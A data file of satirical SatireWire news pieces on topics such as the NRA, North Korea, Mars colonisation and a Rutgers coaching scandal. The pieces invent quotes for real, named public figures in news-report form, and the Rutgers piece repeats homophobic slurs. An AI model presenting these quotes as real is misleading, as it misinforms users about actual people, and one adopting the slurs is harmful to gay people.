rostrum, grimly chanting the names of politicians past who had opposed the NRA and been defeated. One by one, the senators bared their condemnables and voted. Then, the flash of a knife, a bitten fist, and two by two, their testes fell away. In their shaking hands, the senators each held a candle, its flame blown out at the moment of evisceration to symbolize the snuffing of their manhood. The procedure itself was quick, but not without a sting. One senator described the experience as, “almost as painful as losing a loved one. Or a primary.” Despite overwhelming support by Americans, the background check bill was opposed by the NRA, which vowed to take down any senator who voted for it. In the end, four Democrats joined the Republicans as both bill and balls fell with a resounding thud. In all, 46 senators voted no, but only 40 endured detesticlization. Sen. Harry Reid of Nevada voted no for procedural reasons. Five other legislators were immune because they were deemed to be women: Lisa Murkowski of Alaska, Deb Fischer of Nebraska, Kelly Ayotte of New Hampshire, Heidi Heitkamp of North Dakota, and Lindsay Graham of South Carolina. Hours after the vote, Arizona Republican Sen. Jeff Flake paced in his office as he tried to make his opposition understood. “Representing the state where Tucson happened, you’d think I would stand up for the American people,” he said. “But to stay in this office I sometimes have to stand up for other things: for the Second Amendment, for gun owners, and most of all, for the simple reason that it hurts too much to sit down.” Across the hall, Democratic Sen. Mark Pryor of Arkansas stared wistfully at a sepia tone Pinterest photograph of his disunited knicknacks. “I miss those guys so much,” said Pryor, struggling to contain his emotions and disguise his newly pitched voice. “You know, people say politicians only care about one thing, getting elected. But they’re wrong. I cared about two things. Two beautiful, bulbous… ” Unable to continue, Pryor heaved his head on his desk and broke down, aides reviving him only after wafting a powerfully large check from the gun lobby under his nose. The 80 genitals were sent to NRA headquarters in Fairfax, Va., where they will be freeze dried, bronzed, and put on public display with other political privates in the Congressional Hall of Testicles. '], ['no-topic', 'INDIGENOUS MARTIANS THRILLED AT PROSPECT OF BEING COLONIZED', 'OUT THERE (SatireWire.com) – Word that a private aerospace company is launching a mission to colonize Mars has reached the Red Planet, where the local life forms say they are thrilled at the prospect of being colonized by humans, who have such a strong track record of respecting indigenous cultures. "I hope the conquistronauts plant their flag right through my heart!" said an excited indigenous life form. “We know your history and are very excited by the new ideas you will bring,” said N7K, a methane-breathing organism as yet undetected by humans. “We will show you how to survive in our hostile environment, but in return you must show us how to be exploited, infected, starved, segregated and, eventually, slaughtered!” Mars, it should be noted, is considered one of the more sarcastic planets in the solar system. “Really, I hope you’re not disappointed in us,” N7K added. “We don’t have tear ducts, so we won’t be able to cry when you force march us from our lands.” The Mars project, run by a company called Mars One, plans to begin accepting applicants in June for a series of one-way journeys beginning in 2023. Eventually they hope the astronauts establish a settlement. N7K said that although his species – called galldendrens — is thriving and numbers in the millions, it undoubtedly could do with some outside interference. “I think we appreciate the resources we have, but probably you will appreciate them even more since they will be new and different and not yours,” he said. “Yes, we’ll probably go through a rough patch where you burn our homes and steal our treasure and convert us to your religion at gunpoint, but maybe in 500 years we’ll get to have a casino! That would be totally worth it.” Mars One CEO Bas Lansdorp said he was surprised to hear of the galldendrens, but doesn’t think it will impact colonization. “Even if something is there, I don’t believe there is any intelligent life on Mars,” Lansdorp said. “There may be some primitives, but no civilization worth considering.” “Yes, that’s right,” N7K replied. “Just unintelligent primitives not worth considering… said Cortez.” If the galldendrens do exist, Lansdorp insisted the colonists should hardly be seen as conquistadors bent on decimating an indigenous culture. “Really, it’s just a few ships,” he said. “Yes, it’s just a few ships… said Columbus,” N7K replied. '], ['no-topic', 'U.S. TO INSTALL TEXTING LANES ON HIGHWAYS', "WASHINGTON, D.C. (SatireWire.com) – Arguing texting and driving is as much a part of the American travel experience as speeding, the U.S. Transportation Department today unveiled “text-only lanes” that allow drivers to meander across traffic, zigzag into oncoming cars, and eventually veer off the road completely. Artist's rendering of a Text-Only-Vehicle lane along Interstate 70. “People speed and we give them passing lanes to do it. People cheat to avoid traffic and we give them breakdown lanes to do it,” said U.S. Transportation Secretary Ray LaHood. “Well, people text and drive every day. We can either pretend it doesn’t happen and look the other way, or we can give them their own lane so they can look the other way.” Critics of the Text-Only-Vehicle lanes called it dangerous and irresponsible, but LaHood urged patience, saying people may be surprised by the results. “That’s what texting and driving is all about: surprise,” he said. “You don’t know what’s happening until the last second. So let’s keep our heads down and see where we end up.” LaHood said the additional lanes will cost an estimated $495 billion, but will be paid for by a special surtax on wreaths and roadside crosses. The decision was not without detractors even inside government, however, as National Transportation Safety Board Chairman Deborah Hersman lambasted the plan. “Why call them ‘Text-Only-Vehicle’ lanes? Why not call them, ‘I-Have-No-Respect-for-Human-Life’ lanes?” Hersman complained. LaHood said the Transportation Department actually tried to get that name but found it was already taken by the private bowling alley used by members of Congress. "], ['no-topic', 'CLOCKWISE TORNADO SPRUCES UP RUN DOWN NEIGHBORHOOD', 'CANESVILLE, MS (SatireWire.com) — A massive tornado spinning in a reverse, clockwise direction struck this small Mississippi town just before dawn today, leaving renovated homes, firmly rooted trees and shiny, unstrewn cars in its wake. Canesville before (top) and after (bottom) the vastating clockwise tornado struck. “My God, it looks like a decorator went off,” said Steve Harbrough as he surveyed the scene of utter renovation all around him. “I am just utterly vastated right now.” At least 60 houses and mobile homes in this once ramshackle neighborhood were completely remodeled, while another 200 were partially modernized. At least 2,000 people were with power. While no injuries were reported, police said two people were missing and presumed shopping for window treatments. Tornadoes in the Northern Hemisphere tend to spin counter-clockwise, but meteorologists say clockwise tornadoes, while rare, can strike with incredible constructive power. Lifelong resident Charlise Petty learned that all too well as the twister struck at 5 a.m. “I heard it coming, got into my rusty bathtub, pulled an old mattress over my head and prayed,” said Petty, 62. “The sound was incredible. I could hear my house being literally mantled. When it was over, I was sitting in a master bathroom with heated tiles and a rainforest showerhead.” Across the street, Kyle Purvis stood in his driveway, barely able to choke back tears. “Everything we own was in that house,” he said, hugging his wife, Ada. “And it still is. We just have more of it.” In Ada’s hand was a photo book, one of the few possessions she could find amidst all the reorganized drawers. “These are photos of our kids,” she said, flipping through the pages. “But we don’t even own a camera.” As is the case with these enigmatic cyclones, serendipity played a role, often striking one home but missing another only inches away. “I don’t know why God spared me, but I wish he hadn’t,” said Claire LaBooth, whose poorly maintained two-story house was left untouched. “Right now, I am really not grateful for the things I have.” Insurance adjusters estimated the repairs to Canesville at $15 million, and vowed to swiftly to reassess property value and upgrade premiums. Some homeowners said they’d already received revised bills. Meteorologists said today’s tornado was an F4, noting the F stands for “Fabulous.” '], ['no-topic', 'NRA TO GUN OWNERS: BUY 2ND GUN TO PROTECT SELF FROM 1ST GUN', 'FAIRFAX, VA (SatireWire.com) – Conceding a firearm in the home increases the risk of gun-related violence, but sticking to their belief that the only way to stop someone with a gun is with a gun, the NRA today suggested firearm owners buy a second gun to protect themselves from their first gun. Wayne "Two Guns" LaPierre “It stands to reason that if a gun in the home is dangerous, and the best way to confront guns is with guns, then purchasing a second gun is the best way to protect yourself from your first gun,” said NRA chief executive Wayne LaPierre. “It’s like buying catastrophic health insurance, in that it has ‘catastrophe’ written all over it.” Critics immediately accused the NRA of once again putting gun industry sales ahead of public safety, a charge the numbers would appear to support. Studies have shown that people who keep a gun in their home are almost twice as likely to die in a gun-related homicide, and 16 times more likely to use a gun to commit suicide, than people without a gun in their home. But those reports, the NRA chief noted, did not study the “obvious, positive impact” of a second “safety gun.” For example, LaPierre said, his plan would undoubtedly reduce the number of gun-related suicides in the United States, which now stands at 19,000 annually. “If someone wants to shoot themselves with a gun, that’s very difficult to stop, particularly if they have a 9mm, which by the way is a great choice for that, ” LaPierre said. “But if I have a second gun, and I make it clear that I will shoot myself if I shoot myself, then I’m going to think twice about shooting myself.” “The truth is, most people, faced with a gun, will back down,” he added. Similarly, LaPierre said he expects a sharp decrease in the nearly 20,000 gun-related accidents in the U.S. every year. “I don’t know about you, but just knowing that I will intentionally shoot myself with my second gun if I accidentally shoot myself with my first gun would make me be a lot more careful,” he said. Opponents called the NRA’s logic absurd. “If having one gun is dangerous, having two guns isn’t better, it’s twice as dangerous,” said New York City Mayor Michael Bloomberg. LaPierre, surprisingly, agreed. “The Mayor is right. We now suggest you buy four guns.” '], ['no-topic', 'NORTH KOREA RUNS OUT OF THREATS', '“The frequency of threats from Pyongyang has shown clearly that North Korea is simply running out of places and things to threaten.” – The Wall Street Journal MEETING OF THE NORTH KOREAN THREAT AND PROVOCATION COMMITTEE Utilizing his superpowers, Glorious Leader Kim Jong-un makes his own hair stand up. Choe Yong Rim: Invincible One, we regret to report that we have run out of threats! Glorious Leader: Impossible. My father left me a stockpile of threats. Ri Yong Ho: We have exhausted them, Exalted One. We have threatened to blow up Washington, Seoul, and even central Texas. Jang Song Thaek: We have said we are on the ‘brink of war,’ on the ‘eve of war,’ and in a ‘state of war.’ There is nowhere else to go, Great One. Kim Jong Gak: Unless… Glorious Leader: What is it? Gak: It’s pretty crazy… Glorious Leader: I like it so far. Gak: We could just, you know, attack. Go to war. Glorious Leader: ‘Attack. Go to war.’ I don’t understand. Gak: I mean start the war. Launch our missiles. Destroy the Americans and their puppets. Glorious Leader: Ah, no. We’ve already threatened that. Gak: I know, but now we back up our threats. Glorious Leader: We threaten to back up our threats. I don’t know. Seems like a lateral move. Gak: No Excellent One. No more threats. We simply attack. Glorious Leader: OK, so you wish me to say, “The Great Evil the United States must cease their interference in North Korea or we have attacked?” Gak: No Infallible One. You say nothing. Only attack. Glorious Leader: Still not getting it. Where is the threat? Where is the ‘or else?’ Where is the, ‘If you don’t do this, then we do that’ part? Gak: I am not making myself clear. Kim Kyong-Hui: Of course not! Only the Divine and All-Knowing Kim Jong-un can make himself clear! Kim Won Hong: He has the power of invisibility! Ho: He can vanish with a thought! Thaek: Where is our dear leader? I do not see him! Glorious Leader: OK OK, calm down. I’m right here. Hong: We marvel at your transparency! Glorious Leader: Yes yes. Now, my new threat. Which is not a threat. Gak: No your Invincibleness, it is not. We don’t say ‘or else’ because we give them no options. They are out of options. There is nothing they can do to avoid war! Glorious Leader: Then how exactly will I get what I want? Gak: By force! By defeating the enemy! Glorious Leader: Oh. Look, about that. There is no way to win. Gak: Exactly. We will defeat them in a day! Glorious Leader: Ah, no. Let me make myself clear… Ho: He is clear! Thaek: He is gone again! Glorious Leader: No no, I mean, let me make you understand. We can’t actually defeat the Americans. That’s why we issue threats. You see? Gak: But we cannot be defeated. We have you! Rim: You can lift entire cities! Chun: You control entire planets! Hui: You have Dennis Rodman’s autograph! Glorious Leader: But I don’t have a thousand long-range nuclear missiles, do I? Hong: They are not ready to explode from your bowels at a moment’s notice? Glorious Leader: What? Hong: I thought I read that somewhere. Gak: Sir, we could just… stop threatening. Glorious Leader: Threaten to stop threatening. You’ve lost me. Ho: He is invisible again! Glorious Leader: Shut up. I mean I don’t get it. Gak: Dear Leader, instead of a new threat, we go silent. We will say we have entered the period of, um, Pok-Poong-Jeon-Ya — the “calm before the storm.” It will make them nervous. Thaek: Yes, Americans prefer any noise to silence. How else to explain Piers Morgan? Glorious Leader: Hmmm… Pok-Poong-Jeon-Ya. It’s a bit sane-ey, but I like it. Make it so. I’m out of here. Chun: Yes, Dear Leader. Glorious Leader: No, I said, I’m out of here. Chun: We heard you Great One. Glorious Leader: I mean I’m invisible now! Ho: Of course! Dear Leader has vanished! Hui: I certainly see him not right there! Thaek: No one move, lest you bump into him! Hong: And watch out for his bowels! '], ['no-topic', 'U.S. BRAIN MAPPING PROJECT TO BE BASED ON APPLE MAPS', 'CUPERTINO, CA (SatireWire.com) — Apple today announced its mapping software will be used in the government’s new $100 billion brain mapping project, a decision that has already produced breakthroughs as the software shows the brain is located not inside the human skull as previously thought, but is instead just off the Belt Parkway in Queens. Apple Maps initial scan of the brain produced unexpected results. “What we’re really looking for is a road map to the brain, and Apple’s mapping software is perfect in that, like the brain, how it works is a mystery,” said President Obama. “Just think. There are 86 billion neurons in the brain, and thanks to Apple, we’ll be able to accurately locate each and every one out of a hundred of them.” Some analysts decried Apple’s historically buggy mapping application, arguing it “couldn’t navigate its way out of a paper bag.” The company, however, called that assertion unproven, pointing out that they haven’t been able to find the bag they put it in since August. Once in full swing, the project is expected to help solve a bevy of neurological problems. Using Apple Maps, for instance, researchers say they can learn how to reroute signals in the event of brain injury. “Let’s say some axons, or pathways, in your right brain are damaged,” said Apple project director Khalid Gwanjami. “We need to reroute. So we type in, ‘Where is the nearest undamaged axon?’ And the answer is… Sausalito.” President Obama said Apple executives were supposed to be present at the launch announcement last Tuesday, but they got lost on the way to the White House, which, it turns out, is not in western Canada. '], ['no-topic', 'RUTGERS FIRES ABUSIVE COACH, VOWS TO STOP RECRUITING PANSIES', 'NEW BRUNSWICK, NJ (SatireWire.com) – An apologetic Rutgers University fired men’s basketball coach Mike Rice today and promised to clamp down on anti-gay, derogatory slurs in its program by cutting back on the recruitment of sissies and pansies. Coach Rice, center, seen shoving one of his weak-assed pretty boys. The firing comes after ESPN aired a video on Tuesday that showed Rice shoving players, throwing basketballs at their heads, and calling them derogatory names such as “pussies,” “sissy bitches,” and “fucking faggots.” Rice’s actions were “deplorable,” said Rutgers Athletic Director Tim Pernetti, who admitted he was also at fault for failing to notice Rice had a tendency to stock his teams with limp-wristed momma’s boys. “I fully agree that if you watch the video and hear what Mike was saying, you’d have to conclude that he was entirely in the wrong,” said Pernetti. “He should never have treated student-athletes like that because he should never have brought in a bunch of fucking pussies in the first place, as was reflected in our record.” The Scarlet Knights went 15-16 on the season, a result Pernetti said was actually impressive given the clearly demoralizing aspect of having so many useless la-dee-das on the team. Rice, meanwhile, issued a brief statement to the press. “I’d like to apologize to the university, the students, and the alumni of Rutgers for my irresponsible recruitment of candy-asses,” Rice said. “In addition, the physical abuse these players suffered was wholly improper. I could throw basketballs at their heads for hours and it wouldn’t change the fact that they were a bowlful of goddamned fruits.” Analysts say the firing could lead to increased scrutiny of physical and verbal abuse across college athletics, which is more common than many admit. “It’s an open secret that coach’s often berate and denigrate their players for being soft, and Rutgers is by no means the worst,” said ESPN analyst Doug Gottlieb. “Look at Fordham University (7-24). Look at Old Dominion (5-25). They suck. Their coach should be stringing his players up by the balls, but they don’t have any.” '], ['no-topic', 'CITY ALSO PASSES LAW REQUIRING RESIDENTS TO TALK ALL THE TIME', 'NELSON, GA (SatireWire.com) — One day after standing up for the Second Amendment by passing a law making gun ownership mandatory, the city of Nelson, Ga., today applied the same ironclad logic to First Amendment free speech and enacted a law requiring its 1,300 residents to talk all the time. "You can have my mouth when you pry it from my cold, dead face," said one city council member. “People have called us rednecks and backwards and dupes and insane and intolerant and alarmist and simple-minded and hypocritical for protecting our Second Amendment right to bear arms by making it illegal not to bear arms,” said Nelson city councilman Billy Putnam who, due to the free speech ordinance, barely had time to catch his breath before continuing, “and in truth I wanted to shoot those people with my Constitutionally protected firearm, but then someone pointed out that it was illegal to shoot those people because the First Amendment guarantees their right to free speech and I thought well let’s show folks we’re not just dupes of the gun industry let’s show folks we’re dupes of the entire Constitution and the obvious way to do that was to show that we not only support the right to free speech but in fact we require you to exercise your right to free speech, isn’t that right Jarred?” he said to fellow councilman Jarred Akers. “What? I’m sorry I didn’t hear you because I was talking and I’m still talking and I’m going to go on talking because the way I figure it the government wants to violate our Second Amendment rights so it stands to reason they also want to violate our First Amendment rights and just like they want to take away our guns they also want to take away our free speech but let me put it this way, ‘You can have my mouth when you pry it from my cold, dead face,” replied Akers, who was shouting to be heard over the voices of several other Nelson residents standing nearby. The constant din that is now life in Nelson is unlikely to abate anytime soon as the new ordinance also requires residents to peaceably assemble, another First Amendment right the city leaders have made mandatory. In a further fit of patriotic fervor, late today they passed a law supporting the Twenty-first Amendment, which lifted prohibition, resulting in a mandate that requires all citizens to drink alcohol. At press time, the 1,314 Nelson residents were assembled outside the local library, where they were all talking simultaneously and drinking heavily. “Some people maybe say we didn’t think these laws through either because if everyone has to be with everyone else and also talking all the time and drinking all the time then no one will be able to speak right or think right or listen and that will lead to inevitable misunderstandings and arguments and eventually violent confrontations,” Putnam theorized above the noise, “but if it comes to that the good news is we all have guns.” '], ['no-topic', 'IF JESUS’ DISCIPLES WERE WASHINGTON POLITICIANS', 'Speech Preparation: The Sermon on the Mount JESUS: Alright, you all have copies of the speech. Let’s start with my first Beatitude: ‘Blessed are the poor in spirit, for theirs is the kingdom of heaven.’ Thoughts? PETER: Can’t do it. JESUS: What’s wrong? The disciples urge Jesus to avoid the class warfare label. JOHN: Sounds like class warfare. Why do only the poor get heaven? ANDREW: We need to focus on the middle class. They worked hard all their lives. They should be rewarded, too. MATTHEW: And the wealthy. You can’t penalize them for striving to get ahead. JAMES: Agreed. If we focus on the poor, it plays into the whole, ‘The poor only want a handout’ stereotype. THOMAS: Exactly. They want heaven, but they don’t want to work for it. That’s how the Pharisees will frame this. JESUS: But I actually say the ‘poor in spirit.’ That’s class-neutral. BARTHOLEMEW: Then let’s be neutral. ‘Blessed are the poor, middle class, and wealthy in spirit.’ PETER: I like it. Big tent. What’s next? JESUS: ‘Blessed are those who mourn, for they shall be comforted.’ JUDAS: Mourn… It’s very pessimistic. PHILIP: Yeah, why so negative? JESUS: I’m Jewish. PHILIP: I know, but we also have to target the hopeful pagan demographic. JESUS: I like the mourning part. ANDREW: OK, how about this? ‘It’s Mourning in Palestine!’ Sounds much more hopeful. As long as we don’t spell it out. JESUS: OK I guess. How about, ‘Blessed are the meek, for they shall inherit the Earth?’ JOHN: Inherit the Earth. Another government giveaway. THOMAS: And ‘the meek.’ Is that even a demographic? JESUS: It’s another way of saying ‘the poor.’ JOHN: What is it with You and class warfare? PETER: Let’s table this one. Next is, ‘Blessed are those who hunger and thirst for righteousness, for they will be filled.’ SIMON: This is meaningless. JESUS: I’m sorry. SIMON: No, that was a compliment. Ambiguity is a gift. JOHN: But look at the next one. ‘Blessed are the merciful, for they shall be shown mercy.’ ANDREW: Mercy? As in leniency? That’s not gonna fly. JAMES: Doesn’t sound tough on crime. JESUS: But we shouldn’t be tough. We should be compassionate. JOHN: Right. I see where you got the ‘Lamb of God’ label. SIMON: Baa baa… PETER: Knock it off. Let’s say, ‘‘Blessed are the fair.’ Has a law-and-order ring to it. Compassionate but stern. JUDAS: But this next one, ‘Blessed are the pure at heart, for they shall see God.’ It’s too pious. No one is pure at heart, present Messiah excluded, of course. PETER: Let’s put it to a vote. All in favor? … Eleven of 12. The Beatitude passes. JUDAS: I declare a filibuster of 1,000 years! PETER: OK, the Beatitude fails. JESUS: But he’s not actually filibustering! PETER: He only has to threaten. It’s good enough. JESUS: That’s… stupid. MATTHEW: Not as dumb as this: ‘Blessed are the peacemakers for they will be called the Children of God.’ PHILIP: We can’t bless the peacemakers. Not without blessing the military. THOMAS: In fact, looking over this speech, You don’t mention our men in uniform at all. You’ve got to do that, since You don’t come from a military background yourself. MATTHEW: Ever since that ‘turn-the-other-cheek’ remark, 80 percent of Jews think You’re soft on defense as it is. BARTHOLEMEW: That number is even higher among right-wing Herodians. JAMES: We should do a mosaic–op with a military family. JUDAS: Maybe we can work in how You’ll never allow the Phoenicians to get the catapult? JESUS: Fine, I’ll cut it. Last is, ‘Blessed are those who are persecuted because of righteousness, for theirs is the kingdom of heaven.’ MATTHEW: Wait, You’re giving the kingdom of heaven to separate constituencies here. The poor in spirit and the righteous. PETER: You were tired when you wrote this, weren’t You? SIMON: We’ll have to water it down. JAMES: The persecuted can have Samaria. No one even knows where that is. PETER: Right. I think we’re done. Good speech. Nice and short. ANDREW: Hold on. He needs a patriotic lapel pin. JESUS: I was thinking a cross. MATTHEW: Yes. Crossed spears. Powerful. JESUS: No, crossed pieces of wood. It’s a symbol. For how I suffer. SIMON: Wow, you really are Jewish. '], ['no-topic', 'IN HIS HEAD, CLARENCE THOMAS PEPPERS LAWYERS WITH QUESTIONS', 'WASHINGTON, D.C. (SatireWire.com) – At a landmark hearing on gay rights, Supreme Court Justice Clarence Thomas today peppered attorneys with an hour-long barrage of incisive and often brilliant questions in his mind that left spectators and court officials in his head gasping and applauding. Justice Clarence Thomas screams at a defense attorney in his head (top), and says something clever inwardly to Chief Justice Roberts (bottom). Thomas, who hasn’t asked a question in open court in seven years, dominated the proceedings, albeit inwardly, during two-days of oral arguments on gay marriage and civil unions. In his mind, as he always does, the justice continually made unassailable arguments that left attorneys and colleagues alike tongue-tied. “You say that both legally and morally the lower court decision should be upheld, but I say you are mistaken!” Thomas pictured himself roaring at Theodore Olson, the lawyer challenging California’s ban on gay marriage. “Because clearly, as we know from the case of So-and-So versus The Other Thing, your position is unconstitutional!” Thomas added forcefully in his imagination, which also turned “So-and-So versus The Other Thing” into an actual precedent that proved his point beyond a shadow of a doubt. In response, the Olson that Thomas saw began shaking under the judge’s steely gaze, unlike the Olson everyone else saw, who acted like Thomas wasn’t even in the damn room. While externally impassive and even diffident, Thomas was brimming with eloquence and loquaciousness internally, a tactic he regularly uses to give others a chance to shine that’s the only reason. At one point he even challenged his nemesis, Justice Sonya Sotomayor, who was no match for what he had to say had he said it. “Actually, Sonya, isn’t it true that lorem ipsum non compos mentis ex parte palimony?” Thomas quipped inwardly, conceiving it as something legally poignant and biting. “Good point. I concede,” Sotomayor responded in his mind, after which Thomas saw himself exchanging fist bumps with justices Antonin Scalia and Samuel Alito, who really respect him he’s pretty sure and probably they’re just kidding when they ask him for his ID every day like they don’t know who he is. At the end of arguments Wednesday, Thomas saw himself leaving the building carried aloft by his bench mates who in his mind once again insisted he take over as Chief Justice. '], ['no-topic', 'POWERBALL DROPS NUMBERS FOR SHAPES AS MATH STANDARDS FALL', "WEST DES MOINES, IA (SatireWire.com) – Keeping up with declining math standards in the United States, Powerball today announced it has abandoned numbers and will instead use balls painted with 59 familiar colors and shapes. Tonight's winning numbers. Powerball’s new, less challenging system relies on visual recognition that avoids the brain’s math-adept parietal lobe in favor of the occipital lobe, which is used for lesser functions like watching television or updating your Facebook status. As a result, participants will be no longer pick from among 59 numbers, but will instead pick from among 59 commonly recognizable shapes, plus the “Powerball” shape, which instead of being one of 35 numbers, will be one of 35 contestants from “Celebrity Dancing with the Stars.” While individual state lotteries are considering making the switch away from numbers. Florida officials said they have always adorned their game balls with a variety of straight and curved lines, until it was pointed out to them that those were in fact numbers. Powerball spokesman Dan Mangenis denied the change is another step toward the dumbing down of America, and insisted it be viewed as a dumbing-up of Powerball. “The truth is, numbers are hard. You have to recognize them, put them in sequence, tell them apart from each other,” said Mangenis. “We’re not all MIT graduates. I mean, we were using 59 numbers before. Fifty-nine! That’s not just one number; it’s two numbers put together – a five and a… another number.” Lottery sales outlets also welcomed the change. “I can’t tell you how many people came in here, handed me their cards and said their numbers matched because their card said P-o-w-e-r-b-a-l-l, too,” said Jack Portofino, who owns a convenience store in Akron, Ohio. “I had to explain that those were letters, not numbers. But the letters did match, so it was good they recognized that.” Moments ago, the first drawing was held with the new system, which continues to use the term “numbers” on the theory that many players won’t be able to tell the difference. Tonight’s winning numbers are: bird, tree, smiley face, scissors, triangle, and the Powerball is Apolo Ohno. "], ['no-topic', 'NORTH KOREA RELEASES VIDEO OF AMERICANS EATING FOOD', 'PYONGYANG (SatireWire.com) — In its latest video effort to stoke anti-U.S. sentiment among its citizens, North Korean today released a four-minute video showing Americans eating food. Beloved actress Betty White is shown being destroyed by a North Korean nuclear bomb. “Food! They have food!” an angry narrator says as images of Americans enjoying various meals and snacks are displayed on screen, all to the tune of The Rolling Stones’ “You Can’t Always Get What You Want.” In the cheaply made film, North Korean missiles blow up an assortment of U.S. fast food chains and grocery stores as the narrator ridicules Americans for eating “nearly every day.” It also labels Americans as “selfish” for failing to send all their food to divine leader Kim Jong Un, as North Koreans are required to do. Unlike previous clips posted online by the government, which showed animated U.S. buildings being blown up by North Korean rockets, the latest effort from Pyongyang appears directly aimed at bolstering local support for what it calls the “coming struggle.” “It’s easier to hate people you don’t identify with,” said U.S. policy advisor Jeffrey Bloom. “Average North Koreans have long been told we’re violent hegemonists, but by showing we ample have access to food, they are really highlighting how very, very different we are.” The Obama administration called the video “unhelpful,” and reminded Pyongyang it could receive international assistance and feed its starving population by, for example, not threatening to blow up the world every day. In response, Kim Jong Un ate a small Korean village. Nearly half the video is spent explaining what food is and what it looks like, and urges younger viewers to ask their grandparents if they still don’t understand. '], ['no-topic', 'ESPN SUSPECTS HACK AS TSINGHUA UNIV. LEADS NCAA BRACKET PICKS', 'BRISTOL, CT (SatireWire.com) – Every one of the 1.2 billion NCAA tournament brackets submitted online to ESPN predicts that China’s Tsinghua University will beat the “University of Kansastan” to win the national basketball championship, according to ESPN, which conceded it may have been hacked. Upset-minded ESPN bracket entrants favor 16-seed Xiamen to beat Nankai and make the Sweet 16. Not only was Beijing-based Tsinghua the most popular pick among the record-setting and “somewhat suspicious” number of entrees, but three of the coveted Final Four spots went to Chinese universities, while perennial powerhouses like Georgetown, North Carolina, Michigan State and Gonzaga appear to have been replaced by “George Bush Town,” “Northerly Caruluan,” “Michuguan Province,” and “Godzilla.” The news immediately drew outrage from basketball fans and coaches, but ESPN spokesman Marshall Gawdree said the brackets are only predictions. “Everyone wants their team to be the favorite, but the people have spoken, and they’re picking Tsinghua,” said Gawdree. “If it makes anyone feel better, the top choice among our entry pool doesn’t usually win.” “What would make me feel better is if we were in the tournament,” railed Duke coach Mike Krzyzewski. “We were a 2-seed and now we’re not there at all.” “Not necessarily,” Gawdree pointed out. “There is a Duk University. Most brackets predict them to lose to Beijing Forestry University in the first round, though. Tough luck.” Mike Bobinski, chairman of the NCAA Tournament Selection Committee, said he was as surprised as anyone to discover that 52 Chinese universities were included in the field of 68 men’s teams, a quirk he put down to a computer glitch. “Every year people get upset that their team isn’t going to the big dance and this year is no different,” said Bobinski. “But we’ve checked our computers with ESPN’s, and they both have the same schools listed. Obviously the schools we initially announced were wrong. We’re sorry for the kids at Creighton and Bucknell, but hopefully we can move on and get excited for the kids at Xiamen and Wuhan. “Oh, and the Final Four is going to be in Beijing, not Atlanta,” he added. “Our bad.” Despite the disappointment, ESPN analyst Dick Vitale said he can’t wait for March Madness to begin. “This is going to be the craziest tourney of all time baby!” enthused Vitale. “I like Tsinghua. They’ve got a pair of guards in Xing and Li who can drain the tres like water from the Three Gorges Damn. But beware of the big men from the Huazhong University of Science and Technology. They’re like a Great Wall in the paint. And don’t forget the smothering terra cotta warriors from Xi’an Jiao Tong U, under legendary coach Ni Ping, baby! “As usual, I have no idea what I’m saying,” Vitale added. The Chinese government, meanwhile, denied hacking into ESPN and NCAA computers, but predicted that Tsinghua, the alma mater of new Chinese leader Xi Jinping, would go on to glorious victory. '], ['no-topic', 'LAPIERRE SURPRISES CPAC CROWD WITH NEW GUNS UNDER SEATS', 'WASHINGTON, D.C. (SatireWire.com) — NRA chief executive Wayne LaPierre ended a rousing anti-gun-control speech at CPAC Friday by surprising his unsuspecting audience with new handguns, which had been taped under their seats, Oprah-style. "Is it crazy to love the 2nd Amendment?" LaPierre asked before ducking for cover at the response. The shocked and elated crowd of 2,000 reacted by hugging, high-fiving, and, in at least 22 cases, accidentally shooting each other. During his speech, the always-exuberant LaPierre pummeled the gun-control movement and insisted he was not crazy despite advocating that the solution to a potential rape was a “good woman with a gun.” He also reiterated his stance that guns are the solution to everything from school shootings to home invasion to muggings, and added that he was not insane, despite suggesting that Chinese hackers could target a federal gun owner database, which doesn’t actually exist. But it was the finale to his 23-minute talk that left everyone in the room standing and cheering when not ducking for cover. “Before you go back to defend your homes, I have a surprise for you,” said the gun lobby’s chief spokesman. “I want everyone to look under their seats.” Taped to the underside of each chair was a fully loaded handgun, ranging from .32 caliber Colts to .45 caliber Smith & Wessons. “That’s right, everybody gets a new gun!” LaPierre screamed. “Now go out there and kill a bad person also I’m not crazy!” LaPierre’s small arms largesse was met with unbridled enthusiasm for the 2nd Amendment. “We love you Wayne!” shouted 46-year-old attendee Byram Holt of Indiana as he drifted in and out of consciousness due to a stomach wound inflicted by equally excited attendee Angelic Naughton of Ft. Worth, Texas. Like others wounded in the euphoria, Holt would not go to a hospital, saying he refused to let Obamacare take credit for saving him. Instead he appealed to fellow CPAC members, who were only to willing to help. “I don’t have any bandages, but I have a gun!” said Reese Henderson, an attendee from Richmond. “They’re good for everything!” Naughton encouraged. Henderson then shot Holt in his wound, after which the injured man died. “Problem solved!” said Henderson. “He was probably going to be a rapist anyway,” Naughton speculated. '], ['no-topic', 'THE NEXT POPE SHOULD BE JEWISH', "VATICAN CITY (SatireWire.com) – Once again, the answer to the age-old rhetorical question, “Is the Pope Catholic?” is yes. Once again, the cardinals in Rome have looked inward for a pontiff, effectively cutting themselves off from the world’s 5.8 billion non-Catholics. Pope Leo XIV would work as it's a traditional pope name that sounds Jewish. It defies logic. The Roman Catholic Church is in trouble, its power fading and its authority tarnished by years of scandal. It needs not only to solidify its base, but to expand. The only way to do this is to appeal to non-Catholics. And in reaction, they elect… another Roman Catholic? Yes, the Church opened up fractionally by putting Pope Francis, a South American, in charge. But he’s a South American Catholic. No, if the Church truly wants to regain influence, it needs to look outside. That means it needs a non-Catholic at the top. That’s why we believe the next pope should be Jewish. A Jewish pope would send a powerful signal to the world that the Catholic Church is truly open to change, to different viewpoints. It would also help heal a millennia-old rift. From anger over the death of Jesus, (a Jew, btw), through the aiding and abetting of Nazism, Christians have had a fractious relationship with Jews. Putting a Jew in the papacy – the most powerful Christian position in the world — would signal that the rift should be healed. And no, we don’t ascribe to the notion that, by definition, a pope has to be Catholic. For more than 200 years, the American president, “by definition,” had to be a white male. But now he’s not. Now that minorities are in the ascendancy, the American people elected a black president. They didn’t just choose someone from outside a traditional presidential region. They chose someone historically outside the institution itself. Whether or not you agree with President Obama’s policies, you cannot argue that his installation didn’t represent real change. And the Vatican, more than most institutions, needs real change. Granted, one could argue that an Islamic pope would be even better, since Islam is larger than Judaism. In an ideal world, that would be possible. But we are aware that the Catholic Church moves slowly. A Jewish pope is the obvious next step because right now, Jews and Catholics are better matched. They simply have more in common. Fear of Muslims, for example. Also guilt. While a Jewish pope would likely be more liberal on issues such as contraception and gay marriage, we’re not suggesting he attempt to undermine Catholicism. For unity’s sake, the Jewish pope should initially keep to the old traditions. 